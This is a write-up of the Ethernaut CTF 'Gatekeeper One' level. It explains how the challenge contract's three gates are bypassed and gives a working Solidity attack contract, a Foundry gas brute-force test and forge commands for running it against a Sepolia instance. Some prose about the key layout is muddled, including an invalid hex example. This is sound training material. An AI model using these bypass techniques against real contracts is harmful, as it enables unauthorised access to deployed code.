# The Ethernaut CTF Solutions | 13 - Gate Keeper One

## Goals

I like the Gate Keepers, they are fun to solve. They basically tell you what to do... You just have to figure out how!

[![](https://github.com/Pedrojok01/Ethernaut-Solutions/raw/main/assets/requirements/13-gate1-requirements.webp align="left")](https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/assets/requirements/13-gate1-requirements.webp)

## The Contract

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {
    address public entrant;

    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }

    modifier gateTwo() {
        require(gasleft() % 8191 == 0);
        _;
    }

    modifier gateThree(bytes8 _gateKey) {
        require(
            uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)),
            "GatekeeperOne: invalid gateThree part one"
        );
        require(
            uint32(uint64(_gateKey)) != uint64(_gateKey),
            "GatekeeperOne: invalid gateThree part two"
        );
        require(
            uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)),
            "GatekeeperOne: invalid gateThree part three"
        );
        _;
    }

    function enter(
        bytes8 _gateKey
    ) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
        entrant = tx.origin;
        return true;
    }
}
```

## The hack

From now on, things will get a bit more complicated and will require some more advanced solidity knowledge.

We must call the `enter(bytes8 _gateKey)` function, but for that, we have 3 modifiers to pass to beat the Gate Keeper One level. Let's check them one by one.

### Modifier 1

Nothing complicated here, we have already seen this in the [Telephone level](https://blog.pedrojok.com/the-ethernaut-ctf-solutions-04-telephone) previously. We simply have to call the `enter()` function from an intermediary contract so `tx.origin` will be our EOA and `msg.sender` will be the intermediary contract.

```solidity
 modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }
```

### Modifier 3

Let's move on to the last modifier directly, because solving the second modifier will be simpler if we can also pass this one. Here, we have to craft a key.

```solidity
 modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
    _;
  }
```

The `gateKey` is a `bytes8` type, which is a fixed-size byte array of length 8. The `gateKey` is constructed by taking the last 16 bits of the `tx.origin` and concatenating them with `0x0001000000000000`.

Let's see how to get there. First, we can remove some noise from the `gateKey` construction:

```solidity
uint64 key64 = uint64(_gateKey);
require(uint32(key64) == uint16(key64);
require(uint32(key64) != key64);
require(uint32(key64) == uint16(uint160(tx.origin));
```

That's better. Now we can see that the `gateKey` is a 64-bit number. Something that will look like this:

> `0x 00000000 00000000`

Based on the third `require` statement, we see that the last 32 bits must be equal to the last 16 bits of `tx.origin`. However, the first 32 bits must be different from the first 32 bits of our key. This means that the `gateKey` is a 64-bit number that has the last 16 bits equal to the last 16 bits of `tx.origin` and the first 32 bits different from the last 32 bits of `tx.origin`.

| Hex | First 32 bits | Last 32 bits |
| --- | --- | --- |
| `0x` | `12345678` | `ABCDEFGH` |

When combined, we will get something like `0x12345678ABCDEFGH`. So let's create a function to craft the `gateKey` accordingly:

```solidity
function _constructGateKey() private view returns (bytes8 gateKey) {
        // Get the last 16 bits of tx.origin by converting it to uint160 and then to uint16
        uint16 ls16BitsTxOrigin = uint16(uint160(tx.origin));
        // Concatenate the last 16 bits with 0x0001000000000000
        // Where 0x0001000000000000 is a bunch of 0 with an arbitrary 1 somewhere
        // so the first 32 bits differ from each other;
        // The bitwise OR operator is used to combine the two numbers;
        // The result is cast to bytes8;
        gateKey = bytes8(
            uint64(uint64(0x0001000000000000) | uint64(ls16BitsTxOrigin))
        );
        return gateKey;
    }
```

### Modifier 2

We can finally get back to the second modifier.

```solidity
 modifier gateTwo() {
    require(gasleft() % 8191 == 0);
    _;
  }
```

We have to make sure that the `gasleft()` at this point is a multiple of 8191. We will have to somehow loop until we get the right amount of gas, and this is why we handle this modifier last. We can write a quick test to find it out:

```solidity
pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import "forge-std/console.sol";

import {GateSkipperOne} from "src/13_GatekeeperOne.sol";

contract TestGateKeeperOne is Test {
    GateSkipperOne private gateSkipperOne;

    function setUp() public {
        // Replace with your GateKeeperOne instance
        gateSkipperOne = new GateSkipperOne(
            0x3D47f75FdB928E3DC0206DC0Dc3470fF79A43fE2
        );
    }

    function test() public {
        for (uint256 i = 100; i < 8191; i++) {
            try gateSkipperOne.attack(i) {
                console.log("gas", i);
                return;
            } catch {}
        }
        revert("No gas match found!");
    }
}
```

We can run the test with the following command:

```bash
forge test -vvvv --fork-url sepolia --match-path test/13_GateKeeperOne.test.sol
```

And we get the following amount: `256`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1713425040034/362c4c1d-37a7-47ca-98c3-34367cbf6927.png align="center")

## Solution

We now have everything we need to write our contract and call the `enter()` function.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract GateSkipperOne {
    address private gateKeeper;

    constructor(address _gateKeeper) {
        gateKeeper = _gateKeeper;
    }

    function attack(uint256 gas) external {
        bytes8 key = _constructGateKey();

        (bool success, ) = gateKeeper.call{gas: 8191 * 20 + gas}( // gas == 256
            abi.encodeWithSignature("enter(bytes8)", key)
        );
        require(success, "Attack failed");
    }

    function _constructGateKey() private view returns (bytes8 gateKey) {
        uint16 ls16BitsTxOrigin = uint16(uint160(tx.origin));
        gateKey = bytes8(
            uint64(uint64(0x0001000000000000) | uint64(ls16BitsTxOrigin))
        );
        return gateKey;
    }
}
```

We can create a deployment script as follow:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script, console2} from "forge-std/Script.sol";
import {GateSkipperOne} from "../src/13_GateKeeperOne.sol";

interface IGateKeeperOne {
    function entrant() external view returns (address);
}

contract PoC is Script {
    // Replace with your GateKeeperOne instance
    address private immutable gateOne =
        0x3D47f75FdB928E3DC0206DC0Dc3470fF79A43fE2; 

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployer);

        GateSkipperOne gateSkipperOne = new GateSkipperOne(gateOne);
        gateSkipperOne.attack(256);
        console2.log("Entrant: ", IGateKeeperOne(gateOne).entrant());

        vm.stopBroadcast();
    }
}
```

Then run the script with the following command:

```bash
forge script script/13_GateKeeperOne.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
```

🎉 Level completed 🎉

## Takeaway

* How data type conversion and casting work in Solidity
    
* Bitwise operators
    
* Why `gasleft()` can't be used as a source of randomness
    

---

You can find all the codes, challenges, and their solutions on my GitHub: [https://github.com/Pedrojok01/Ethernaut-Solutions/](https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/solutions/01_Fallback.md)
